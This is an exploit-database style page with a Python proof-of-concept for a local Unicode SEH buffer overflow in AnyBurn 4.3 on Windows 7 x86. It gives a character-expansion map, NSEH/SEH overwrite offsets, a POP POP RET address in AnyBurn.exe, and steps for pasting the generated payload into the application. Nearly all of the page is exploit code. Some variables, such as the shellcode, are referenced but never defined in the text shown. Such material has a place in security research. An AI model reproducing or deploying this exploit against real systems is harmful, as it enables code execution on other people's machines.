Anyburn 4.3 x86 copy disc to image file buffer overflow (unicode) (seh) Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2019-03-07 |
Type : local |
Platform : windows_x86
This exploit / vulnerability Anyburn 4.3 x86 copy disc to image file buffer overflow (unicode) (seh) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/python
# Exploit Title: Anyburn 4.3 - 'Copy disc to image file' Buffer Overflow - (UNICODE)(SEH)
# Version: 4.3
# Date: 07-03-2019
# Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
# Vendor Homepage: http://www.anyburn.com/
# Software Link: http://www.anyburn.com/download.php
# Tested on: Win7 x86 SP1 build 7601
# Caveats: - Heavy character expansion from byte range 0x80 until 0x9f. I've mapped the character translation for convenience.
# - Modify 'crash_nseh' and 'ret_jmp' variable offsets for different OS'es / servicepacks
#
# Character expansion mapping
# 80 --> 20ac, 81 --> 81
# 82 --> 201a, 83 --> 0192
# 84 --> 201e, 85 --> 2026
# 86 --> 2020, 87 --> 2021
# 88 --> 02c6, 89 --> 2030
# 8a --> 0160, 8b --> 2039
# 8c --> 0152, 8d --> 8d
# 8e --> 017d, 8f --> 8f
# 90 --> 90 , 91 --> 2018
# 92 --> 2019, 93 --> 201c
# 94 --> 201d, 95 --> 2022
# 96 --> 2013, 97 --> 2014
# 98 --> 02dc, 99 --> 2122
# 9a --> 0161, 9b --> 203a
# 9c --> 0153, 9d --> 9d
# 9e --> 017e, 9f --> 0178
#
# PoC
# 1.) Generate sploit_anyBURN_seh_unicode.txt, copy the contents to clipboard
# 2.) In the application, open 'Copy disc to image file'
# 3.) Paste the contents of the TXT file in 'Image file name'
# 4.) Click "Create Now" and watch Anyburn BURN!
# Offsets
crash_nseh = 9197 # NSEH, might be different on other Windows version/SP
crash_seh = crash_nseh + 4 # SEH
ret_jmp = 87 # Offset for which the 'align_ebp' instructions land
# Variables
prefix = "\x73" * ret_jmp # Padding
prefix += shellcode # UNICODE encoded shellcode
prefix += "\x73" * (crash_nseh - len(prefix)) # Additional padding to reach NSEH
nseh = "\x83\x43" # 0x83 Expands to 0x0192 --> XCHG EAX,EDX # Expanded instruction in SEH now does get executed due to swapped regs
seh = "\x95\x47" # 0x00470095 Expands to 0x00472022 --> # POP POP RET # AnyBurn.exe
suffix = align_ebp # Align registers to jump to beginning of buffer
suffix += "\x73" * (maxlen - len(prefix + nseh + seh + suffix)) # Padding